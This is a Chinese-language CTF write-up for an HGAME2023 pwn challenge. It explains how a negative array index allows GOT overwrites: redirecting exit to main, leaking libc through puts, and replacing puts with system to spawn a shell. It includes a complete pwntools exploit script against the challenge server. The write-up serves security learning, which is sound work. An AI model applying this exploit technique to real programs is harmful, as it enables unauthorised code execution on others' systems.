最近在做HGAME2023赛题的时候看见这个题,感觉还不错,拿出来分享一下。
首先checksec源程序vuln
试着运行vuln,先输入一个座位号,然后是输入name
ida64打开分析,先看main函数
进入到vuln函数,发现这里判断v0并没有考虑负数,存在漏洞点,若将v0设为负数,&seats[16*v0]将会是不合法地址,同时puts函数可以泄露该地址内容,考虑泄露libc,覆写puts函数的got表,这些操作不能一次输入完成,发现有exit函数,故可以把exit函数的got表地址更改为main函数地址,这样第一次输入后跳转到main函数继续执行vuln,就可以接受多次输入。
got表地址如下
seats数组起始地址为0x4040a0
令v0=-6,0x4040a0-16*6=0x404040,为exit的got表的地址
main函数地址为0x4012d1
令v0=-9,0x4040a0-16*6=0x404010,利用read函数,先把&seats[16 * v0]指向的地址内容改为/bin/sh,并调整为8个字节(加一个"\x00"即可),接着紧接在后面(即0x404018处)覆写puts函数got表地址为system函数的真实地址,即可实现puts(&seats[16 * v0])真实执行的是system("/bin/sh")
总结:
共需要三次payload发送,第一次修改exit函数got表地址,使程序可以无限接受输入。第二次利用puts函数泄露puts函数的got表地址。第三次覆写puts函数的got表地址为system函数的真实地址,并传参"/bin/sh"。
本题有个坑:第二次payload用puts函数泄露got表地址,按理说要先填充8个字节到地址0x404018处然后覆写puts函数got表地址,但我在调试中发现只有填充7个字节才能打通,这里需要注意一下。
exp如下:
from pwn import *
io = remote('node5.anna.nssctf.cn',28257)
#io = process('./vuln')
context.log_level = 'debug'
elf = ELF('./vuln')
vuln = 0x4011d6
main = 0x4012d1
libc = ELF('./libc-2.31.so')
io.recvuntil(b'one.\n')
io.sendline(b'-6')
payload = p64(main)
io.recvuntil(b'name\n')
io.sendline(payload)
io.recvuntil(b'one.\n')
io.sendline(b'-9')
payload = b'aaaaaaa' #here seven 'a'
io.recvuntil(b'name\n')
io.sendline(payload)
#io.recvuntil(b'aaaa')
io.recvuntil(b'a\n')
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print('puts real addr:',hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
print('sys real addr:',hex(sys_addr))
io.recvuntil(b'one.\n')
io.sendline(b'-9')
io.recvuntil(b'name\n')
io.sendline((b'/bin/sh\x00'+p64(sys_addr)))
io.interactive()
打通效果: